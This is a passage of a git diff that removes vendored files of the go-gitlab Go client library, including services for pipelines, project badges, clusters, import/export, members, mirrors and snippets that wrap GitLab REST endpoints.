pipeline. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/pipelines.html#delete-a-pipeline -func (s *PipelinesService) DeletePipeline(pid interface{}, pipeline int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/pipelines/%d", pathEscape(project), pipeline) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/project_badges.go b/vendor/github.com/xanzy/go-gitlab/project_badges.go deleted file mode 100644 index 1490d36945..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/project_badges.go +++ /dev/null @@ -1,207 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// ProjectBadge represents a project badge. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#list-all-badges-of-a-project -type ProjectBadge struct { - ID int `json:"id"` - LinkURL string `json:"link_url"` - ImageURL string `json:"image_url"` - RenderedLinkURL string `json:"rendered_link_url"` - RenderedImageURL string `json:"rendered_image_url"` - // Kind represents a project badge kind. Can be empty, when used PreviewProjectBadge(). - Kind string `json:"kind"` -} - -// ProjectBadgesService handles communication with the project badges -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/project_badges.html -type ProjectBadgesService struct { - client *Client -} - -// ListProjectBadgesOptions represents the available ListProjectBadges() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#list-all-badges-of-a-project -type ListProjectBadgesOptions ListOptions - -// ListProjectBadges gets a list of a project's badges and its group badges. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#list-all-badges-of-a-project -func (s *ProjectBadgesService) ListProjectBadges(pid interface{}, opt *ListProjectBadgesOptions, options ...RequestOptionFunc) ([]*ProjectBadge, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/badges", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var pb []*ProjectBadge - resp, err := s.client.Do(req, &pb) - if err != nil { - return nil, resp, err - } - - return pb, resp, err -} - -// GetProjectBadge gets a project badge. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#get-a-badge-of-a-project -func (s *ProjectBadgesService) GetProjectBadge(pid interface{}, badge int, options ...RequestOptionFunc) (*ProjectBadge, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/badges/%d", pathEscape(project), badge) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - pb := new(ProjectBadge) - resp, err := s.client.Do(req, pb) - if err != nil { - return nil, resp, err - } - - return pb, resp, err -} - -// AddProjectBadgeOptions represents the available AddProjectBadge() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#add-a-badge-to-a-project -type AddProjectBadgeOptions struct { - LinkURL *string `url:"link_url,omitempty" json:"link_url,omitempty"` - ImageURL *string `url:"image_url,omitempty" json:"image_url,omitempty"` -} - -// AddProjectBadge adds a badge to a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#add-a-badge-to-a-project -func (s *ProjectBadgesService) AddProjectBadge(pid interface{}, opt *AddProjectBadgeOptions, options ...RequestOptionFunc) (*ProjectBadge, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/badges", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pb := new(ProjectBadge) - resp, err := s.client.Do(req, pb) - if err != nil { - return nil, resp, err - } - - return pb, resp, err -} - -// EditProjectBadgeOptions represents the available EditProjectBadge() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#edit-a-badge-of-a-project -type EditProjectBadgeOptions struct { - LinkURL *string `url:"link_url,omitempty" json:"link_url,omitempty"` - ImageURL *string `url:"image_url,omitempty" json:"image_url,omitempty"` -} - -// EditProjectBadge updates a badge of a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#edit-a-badge-of-a-project -func (s *ProjectBadgesService) EditProjectBadge(pid interface{}, badge int, opt *EditProjectBadgeOptions, options ...RequestOptionFunc) (*ProjectBadge, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/badges/%d", pathEscape(project), badge) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - pb := new(ProjectBadge) - resp, err := s.client.Do(req, pb) - if err != nil { - return nil, resp, err - } - - return pb, resp, err -} - -// DeleteProjectBadge removes a badge from a project. Only project's -// badges will be removed by using this endpoint. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#remove-a-badge-from-a-project -func (s *ProjectBadgesService) DeleteProjectBadge(pid interface{}, badge int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/badges/%d", pathEscape(project), badge) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ProjectBadgePreviewOptions represents the available PreviewProjectBadge() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#preview-a-badge-from-a-project -type ProjectBadgePreviewOptions struct { - LinkURL *string `url:"link_url,omitempty" json:"link_url,omitempty"` - ImageURL *string `url:"image_url,omitempty" json:"image_url,omitempty"` -} - -// PreviewProjectBadge returns how the link_url and image_url final URLs would be after -// resolving the placeholder interpolation. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_badges.html#preview-a-badge-from-a-project -func (s *ProjectBadgesService) PreviewProjectBadge(pid interface{}, opt *ProjectBadgePreviewOptions, options ...RequestOptionFunc) (*ProjectBadge, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/badges/render", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - pb := new(ProjectBadge) - resp, err := s.client.Do(req, &pb) - if err != nil { - return nil, resp, err - } - - return pb, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/project_clusters.go b/vendor/github.com/xanzy/go-gitlab/project_clusters.go deleted file mode 100644 index d6802da0a6..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/project_clusters.go +++ /dev/null @@ -1,235 +0,0 @@ -// -// Copyright 2019, Matej Velikonja -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// ProjectClustersService handles communication with the -// project clusters related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_clusters.html -type ProjectClustersService struct { - client *Client -} - -// ProjectCluster represents a GitLab Project Cluster. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/project_clusters.html -type ProjectCluster struct { - ID int `json:"id"` - Name string `json:"name"` - Domain string `json:"domain"` - CreatedAt *time.Time `json:"created_at"` - ProviderType string `json:"provider_type"` - PlatformType string `json:"platform_type"` - EnvironmentScope string `json:"environment_scope"` - ClusterType string `json:"cluster_type"` - User *User `json:"user"` - PlatformKubernetes *PlatformKubernetes `json:"platform_kubernetes"` - ManagementProject *ManagementProject `json:"management_project"` - Project *Project `json:"project"` -} - -func (v ProjectCluster) String() string { - return Stringify(v) -} - -// PlatformKubernetes represents a GitLab Project Cluster PlatformKubernetes. -type PlatformKubernetes struct { - APIURL string `json:"api_url"` - Token string `json:"token"` - CaCert string `json:"ca_cert"` - Namespace string `json:"namespace"` - AuthorizationType string `json:"authorization_type"` -} - -// ManagementProject represents a GitLab Project Cluster management_project. -type ManagementProject struct { - ID int `json:"id"` - Description string `json:"description"` - Name string `json:"name"` - NameWithNamespace string `json:"name_with_namespace"` - Path string `json:"path"` - PathWithNamespace string `json:"path_with_namespace"` - CreatedAt *time.Time `json:"created_at"` -} - -// ListClusters gets a list of all clusters in a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_clusters.html#list-project-clusters -func (s *ProjectClustersService) ListClusters(pid interface{}, options ...RequestOptionFunc) ([]*ProjectCluster, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/clusters", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var pcs []*ProjectCluster - resp, err := s.client.Do(req, &pcs) - if err != nil { - return nil, resp, err - } - - return pcs, resp, err -} - -// GetCluster gets a cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_clusters.html#get-a-single-project-cluster -func (s *ProjectClustersService) GetCluster(pid interface{}, cluster int, options ...RequestOptionFunc) (*ProjectCluster, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/clusters/%d", pathEscape(project), cluster) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - pc := new(ProjectCluster) - resp, err := s.client.Do(req, &pc) - if err != nil { - return nil, resp, err - } - - return pc, resp, err -} - -// AddClusterOptions represents the available AddCluster() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_clusters.html#add-existing-cluster-to-project -type AddClusterOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Domain *string `url:"domain,omitempty" json:"domain,omitempty"` - Enabled *bool `url:"enabled,omitempty" json:"enabled,omitempty"` - Managed *bool `url:"managed,omitempty" json:"managed,omitempty"` - EnvironmentScope *string `url:"environment_scope,omitempty" json:"environment_scope,omitempty"` - PlatformKubernetes *AddPlatformKubernetesOptions `url:"platform_kubernetes_attributes,omitempty" json:"platform_kubernetes_attributes,omitempty"` - ManagementProjectID *string `url:"management_project_id,omitempty" json:"management_project_id,omitempty"` -} - -// AddPlatformKubernetesOptions represents the available PlatformKubernetes options for adding. -type AddPlatformKubernetesOptions struct { - APIURL *string `url:"api_url,omitempty" json:"api_url,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` - CaCert *string `url:"ca_cert,omitempty" json:"ca_cert,omitempty"` - Namespace *string `url:"namespace,omitempty" json:"namespace,omitempty"` - AuthorizationType *string `url:"authorization_type,omitempty" json:"authorization_type,omitempty"` -} - -// AddCluster adds an existing cluster to the project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_clusters.html#add-existing-cluster-to-project -func (s *ProjectClustersService) AddCluster(pid interface{}, opt *AddClusterOptions, options ...RequestOptionFunc) (*ProjectCluster, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/clusters/user", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pc := new(ProjectCluster) - resp, err := s.client.Do(req, pc) - if err != nil { - return nil, resp, err - } - - return pc, resp, err -} - -// EditClusterOptions represents the available EditCluster() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_clusters.html#edit-project-cluster -type EditClusterOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Domain *string `url:"domain,omitempty" json:"domain,omitempty"` - EnvironmentScope *string `url:"environment_scope,omitempty" json:"environment_scope,omitempty"` - ManagementProjectID *string `url:"management_project_id,omitempty" json:"management_project_id,omitempty"` - PlatformKubernetes *EditPlatformKubernetesOptions `url:"platform_kubernetes_attributes,omitempty" json:"platform_kubernetes_attributes,omitempty"` -} - -// EditPlatformKubernetesOptions represents the available PlatformKubernetes options for editing. -type EditPlatformKubernetesOptions struct { - APIURL *string `url:"api_url,omitempty" json:"api_url,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` - CaCert *string `url:"ca_cert,omitempty" json:"ca_cert,omitempty"` - Namespace *string `url:"namespace,omitempty" json:"namespace,omitempty"` -} - -// EditCluster updates an existing project cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_clusters.html#edit-project-cluster -func (s *ProjectClustersService) EditCluster(pid interface{}, cluster int, opt *EditClusterOptions, options ...RequestOptionFunc) (*ProjectCluster, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/clusters/%d", pathEscape(project), cluster) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - pc := new(ProjectCluster) - resp, err := s.client.Do(req, pc) - if err != nil { - return nil, resp, err - } - - return pc, resp, err -} - -// DeleteCluster deletes an existing project cluster. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_clusters.html#delete-project-cluster -func (s *ProjectClustersService) DeleteCluster(pid interface{}, cluster int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/clusters/%d", pathEscape(project), cluster) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/project_import_export.go b/vendor/github.com/xanzy/go-gitlab/project_import_export.go deleted file mode 100644 index f052159c83..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/project_import_export.go +++ /dev/null @@ -1,196 +0,0 @@ -package gitlab - -import ( - "bytes" - "fmt" - "time" -) - -// ProjectImportExportService handles communication with the project -// import/export related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/user/project/settings/import_export.html -type ProjectImportExportService struct { - client *Client -} - -// ImportStatus represents a project import status. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#import-status -type ImportStatus struct { - ID int `json:"id"` - Description string `json:"description"` - Name string `json:"name"` - NameWithNamespace string `json:"name_with_namespace"` - Path string `json:"path"` - PathWithNamespace string `json:"path_with_namespace"` - CreateAt *time.Time `json:"create_at"` - ImportStatus string `json:"import_status"` -} - -func (s ImportStatus) String() string { - return Stringify(s) -} - -// ExportStatus represents a project export status. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#export-status -type ExportStatus struct { - ID int `json:"id"` - Description string `json:"description"` - Name string `json:"name"` - NameWithNamespace string `json:"name_with_namespace"` - Path string `json:"path"` - PathWithNamespace string `json:"path_with_namespace"` - CreatedAt *time.Time `json:"created_at"` - ExportStatus string `json:"export_status"` - Message string `json:"message"` - Links struct { - APIURL string `json:"api_url"` - WebURL string `json:"web_url"` - } `json:"_links"` -} - -func (s ExportStatus) String() string { - return Stringify(s) -} - -// ScheduleExportOptions represents the available ScheduleExport() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#schedule-an-export -type ScheduleExportOptions struct { - Description *string `url:"description,omitempty" json:"description,omitempty"` - Upload struct { - URL *string `url:"url,omitempty" json:"url,omitempty"` - HTTPMethod *string `url:"http_method,omitempty" json:"http_method,omitempty"` - } `url:"upload,omitempty" json:"upload,omitempty"` -} - -// ScheduleExport schedules a project export. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#schedule-an-export -func (s *ProjectImportExportService) ScheduleExport(pid interface{}, opt *ScheduleExportOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/export", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ExportStatus get the status of export. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#export-status -func (s *ProjectImportExportService) ExportStatus(pid interface{}, options ...RequestOptionFunc) (*ExportStatus, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/export", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - es := new(ExportStatus) - resp, err := s.client.Do(req, es) - if err != nil { - return nil, resp, err - } - - return es, resp, err -} - -// ExportDownload download the finished export. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#export-download -func (s *ProjectImportExportService) ExportDownload(pid interface{}, options ...RequestOptionFunc) ([]byte, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/export/download", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var b bytes.Buffer - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b.Bytes(), resp, err -} - -// ImportFileOptions represents the available ImportFile() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#import-a-file -type ImportFileOptions struct { - Namespace *string `url:"namespace,omitempty" json:"namespace,omitempty"` - File *string `url:"file,omitempty" json:"file,omitempty"` - Path *string `url:"path,omitempty" json:"path,omitempty"` - Overwrite *bool `url:"overwrite,omitempty" json:"overwrite,omitempty"` - OverrideParams *CreateProjectOptions `url:"override_params,omitempty" json:"override_params,omitempty"` -} - -// ImportFile import a file. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#import-a-file -func (s *ProjectImportExportService) ImportFile(opt *ImportFileOptions, options ...RequestOptionFunc) (*ImportStatus, *Response, error) { - req, err := s.client.NewRequest("POST", "projects/import", opt, options) - if err != nil { - return nil, nil, err - } - - is := new(ImportStatus) - resp, err := s.client.Do(req, is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} - -// ImportStatus get the status of an import. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_import_export.html#import-status -func (s *ProjectImportExportService) ImportStatus(pid interface{}, options ...RequestOptionFunc) (*ImportStatus, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/import", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - is := new(ImportStatus) - resp, err := s.client.Do(req, is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/project_members.go b/vendor/github.com/xanzy/go-gitlab/project_members.go deleted file mode 100644 index 0b4167820e..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/project_members.go +++ /dev/null @@ -1,209 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" -) - -// ProjectMembersService handles communication with the project members -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/members.html -type ProjectMembersService struct { - client *Client -} - -// ListProjectMembersOptions represents the available ListProjectMembers() and -// ListAllProjectMembers() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#list-all-members-of-a-group-or-project -type ListProjectMembersOptions struct { - ListOptions - Query *string `url:"query,omitempty" json:"query,omitempty"` -} - -// ListProjectMembers gets a list of a project's team members viewable by the -// authenticated user. Returns only direct members and not inherited members -// through ancestors groups. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#list-all-members-of-a-group-or-project -func (s *ProjectMembersService) ListProjectMembers(pid interface{}, opt *ListProjectMembersOptions, options ...RequestOptionFunc) ([]*ProjectMember, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/members", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var pm []*ProjectMember - resp, err := s.client.Do(req, &pm) - if err != nil { - return nil, resp, err - } - - return pm, resp, err -} - -// ListAllProjectMembers gets a list of a project's team members viewable by the -// authenticated user. Returns a list including inherited members through -// ancestor groups. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#list-all-members-of-a-group-or-project-including-inherited-members -func (s *ProjectMembersService) ListAllProjectMembers(pid interface{}, opt *ListProjectMembersOptions, options ...RequestOptionFunc) ([]*ProjectMember, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/members/all", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var pm []*ProjectMember - resp, err := s.client.Do(req, &pm) - if err != nil { - return nil, resp, err - } - - return pm, resp, err -} - -// GetProjectMember gets a project team member. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#get-a-member-of-a-group-or-project -func (s *ProjectMembersService) GetProjectMember(pid interface{}, user int, options ...RequestOptionFunc) (*ProjectMember, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/members/%d", pathEscape(project), user) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - pm := new(ProjectMember) - resp, err := s.client.Do(req, pm) - if err != nil { - return nil, resp, err - } - - return pm, resp, err -} - -// AddProjectMemberOptions represents the available AddProjectMember() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#add-a-member-to-a-group-or-project -type AddProjectMemberOptions struct { - UserID *int `url:"user_id,omitempty" json:"user_id,omitempty"` - AccessLevel *AccessLevelValue `url:"access_level,omitempty" json:"access_level,omitempty"` - ExpiresAt *string `url:"expires_at,omitempty" json:"expires_at"` -} - -// AddProjectMember adds a user to a project team. This is an idempotent -// method and can be called multiple times with the same parameters. Adding -// team membership to a user that is already a member does not affect the -// existing membership. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#add-a-member-to-a-group-or-project -func (s *ProjectMembersService) AddProjectMember(pid interface{}, opt *AddProjectMemberOptions, options ...RequestOptionFunc) (*ProjectMember, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/members", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pm := new(ProjectMember) - resp, err := s.client.Do(req, pm) - if err != nil { - return nil, resp, err - } - - return pm, resp, err -} - -// EditProjectMemberOptions represents the available EditProjectMember() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#edit-a-member-of-a-group-or-project -type EditProjectMemberOptions struct { - AccessLevel *AccessLevelValue `url:"access_level,omitempty" json:"access_level,omitempty"` - ExpiresAt *string `url:"expires_at,omitempty" json:"expires_at"` -} - -// EditProjectMember updates a project team member to a specified access level.. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#edit-a-member-of-a-group-or-project -func (s *ProjectMembersService) EditProjectMember(pid interface{}, user int, opt *EditProjectMemberOptions, options ...RequestOptionFunc) (*ProjectMember, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/members/%d", pathEscape(project), user) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - pm := new(ProjectMember) - resp, err := s.client.Do(req, pm) - if err != nil { - return nil, resp, err - } - - return pm, resp, err -} - -// DeleteProjectMember removes a user from a project team. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#remove-a-member-from-a-group-or-project -func (s *ProjectMembersService) DeleteProjectMember(pid interface{}, user int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/members/%d", pathEscape(project), user) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/project_mirror.go b/vendor/github.com/xanzy/go-gitlab/project_mirror.go deleted file mode 100644 index aa7a1aa5d3..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/project_mirror.go +++ /dev/null @@ -1,145 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// ProjectMirrorService handles communication with the project mirror -// related methods of the GitLab API. -// -// GitLAb API docs: https://docs.gitlab.com/ce/api/remote_mirrors.html -type ProjectMirrorService struct { - client *Client -} - -// ProjectMirror represents a project mirror configuration. -// -// GitLAb API docs: https://docs.gitlab.com/ce/api/remote_mirrors.html -type ProjectMirror struct { - Enabled bool `json:"enabled"` - ID int `json:"id"` - LastError string `json:"last_error"` - LastSuccessfulUpdateAt *time.Time `json:"last_successful_update_at"` - LastUpdateAt *time.Time `json:"last_update_at"` - LastUpdateStartedAt *time.Time `json:"last_update_started_at"` - OnlyProtectedBranches bool `json:"only_protected_branches"` - KeepDivergentRefs bool `json:"keep_divergent_refs"` - UpdateStatus string `json:"update_status"` - URL string `json:"url"` -} - -// ListProjectMirror gets a list of mirrors configured on the project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/remote_mirrors.html#list-a-projects-remote-mirrors -func (s *ProjectMirrorService) ListProjectMirror(pid interface{}, options ...RequestOptionFunc) ([]*ProjectMirror, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/remote_mirrors", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var pm []*ProjectMirror - resp, err := s.client.Do(req, &pm) - if err != nil { - return nil, resp, err - } - - return pm, resp, err - -} - -// AddProjectMirrorOptions contains the properties requires to create -// a new project mirror. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/remote_mirrors.html#create-a-remote-mirror -type AddProjectMirrorOptions struct { - URL *string `url:"url,omitempty" json:"url,omitempty"` - Enabled *bool `url:"enabled,omitempty" json:"enabled,omitempty"` - OnlyProtectedBranches *bool `url:"only_protected_branches,omitempty" json:"only_protected_branches,omitempty"` - KeepDivergentRefs *bool `url:"keep_divergent_refs,omitempty" json:"keep_divergent_refs,omitempty"` -} - -// AddProjectMirror creates a new mirror on the project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/remote_mirrors.html#create-a-remote-mirror -func (s *ProjectMirrorService) AddProjectMirror(pid interface{}, opt *AddProjectMirrorOptions, options ...RequestOptionFunc) (*ProjectMirror, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/remote_mirrors", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pm := new(ProjectMirror) - resp, err := s.client.Do(req, pm) - if err != nil { - return nil, resp, err - } - - return pm, resp, err -} - -// EditProjectMirrorOptions contains the properties requires to edit -// an existing project mirror. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/remote_mirrors.html#update-a-remote-mirrors-attributes -type EditProjectMirrorOptions struct { - Enabled *bool `url:"enabled,omitempty" json:"enabled,omitempty"` - OnlyProtectedBranches *bool `url:"only_protected_branches,omitempty" json:"only_protected_branches,omitempty"` - KeepDivergentRefs *bool `url:"keep_divergent_refs,omitempty" json:"keep_divergent_refs,omitempty"` -} - -// EditProjectMirror updates a project team member to a specified access level.. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/remote_mirrors.html#update-a-remote-mirrors-attributes -func (s *ProjectMirrorService) EditProjectMirror(pid interface{}, mirror int, opt *EditProjectMirrorOptions, options ...RequestOptionFunc) (*ProjectMirror, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/remote_mirrors/%d", pathEscape(project), mirror) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - pm := new(ProjectMirror) - resp, err := s.client.Do(req, pm) - if err != nil { - return nil, resp, err - } - - return pm, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/project_snippets.go b/vendor/github.com/xanzy/go-gitlab/project_snippets.go deleted file mode 100644 index 8789db707d..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/project_snippets.go +++ /dev/null @@ -1,206 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "bytes" - "fmt" -) - -// ProjectSnippetsService handles communication with the project snippets -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/project_snippets.html -type 